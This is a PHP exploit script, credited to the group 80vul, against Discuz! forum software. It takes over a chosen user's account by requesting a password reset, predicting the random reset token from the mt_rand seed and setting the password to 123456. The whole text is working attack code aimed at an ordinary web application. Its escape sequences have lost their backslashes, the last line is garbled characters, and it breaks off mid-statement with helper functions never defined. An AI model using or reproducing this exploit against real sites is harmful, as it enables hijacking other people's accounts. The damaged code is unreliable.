#!/usr/bin/php
<?php

print_r('
+---------------------------------------------------------------------------+
Discuz! Reset User Password Exploit
by 80vul
team: http://www.80vul.com
+---------------------------------------------------------------------------+
');

if ($argc < 6) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path user mail uid
host: target server (ip/hostname)
path: path to discuz
user: user login name
mail: user login mail
uid: user login id
Example:
php '.$argv[0].' localhost /discuz/ 80vul 80vul@80vul.com 2
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$mail = $argv[4];
$uid = $argv[5];

$fp = fsockopen($host, 80);

$data = "GET ".$path."viewthread.php HTTP/1.1rn";
$data .= "Host: $hostrn";
$data .= "Keep-Alive: 300rn";
$data .= "Connection: keep-alivernrn";

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp)) {
$resp .= fread($fp, 1024);
preg_match('/&amp;formhash=([a-z0-9]{8})/', $resp, $hash);
if ($hash)
break;
}

if ($hash) {
$cmd = 'action=lostpasswd&username='.urlencode($user).'&email='.urlencode($mail).'&lostpwsubmit=true&formhash='.$hash[1];
$data = "POST ".$path."member.php HTTP/1.1rn";
$data .= "Content-Type: application/x-www-form-urlencodedrn";
$data .= "Referer: http://$host$pathrn";
$data .= "Host: $hostrn";
$data .= "Content-Length: ".strlen($cmd)."rn";
$data .= "Connection: closernrn";
$data .= $cmd;

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

fclose($fp);

preg_match('/Set-Cookie:s[a-zA-Z0-9]+_sid=([a-zA-Z0-9]{6});/', $resp, $sid);

if (!$sid)
exit("Exploit Failed!n");

$seed = getseed();
if ($seed) {
mt_srand($seed);
random();
mt_rand();
$id = random();

$fp = fsockopen($host, 80);

$cmd = 'action=getpasswd&uid='.$uid.'&id='.$id.'&newpasswd1=123456&newpasswd2=123456&getpwsubmit=true&formhash='.$hash[1];
$data = "POST ".$path."member.php HTTP/1.1rn";
$data .= "Content-Type: application/x-www-form-urlencodedrn";
$data .= "Referer: http://$host$pathrn";
$data .= "Host: $hostrn";
$data .= "Content-Length: ".strlen($cmd)."rn";
$data .= "Connection: closernrn";
$data .= $cmd;

fputs($fp, $data);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

if (strpos($resp, '??¨????ˉ?????·2é???–°è????????èˉ·????”¨?–°?ˉ???????????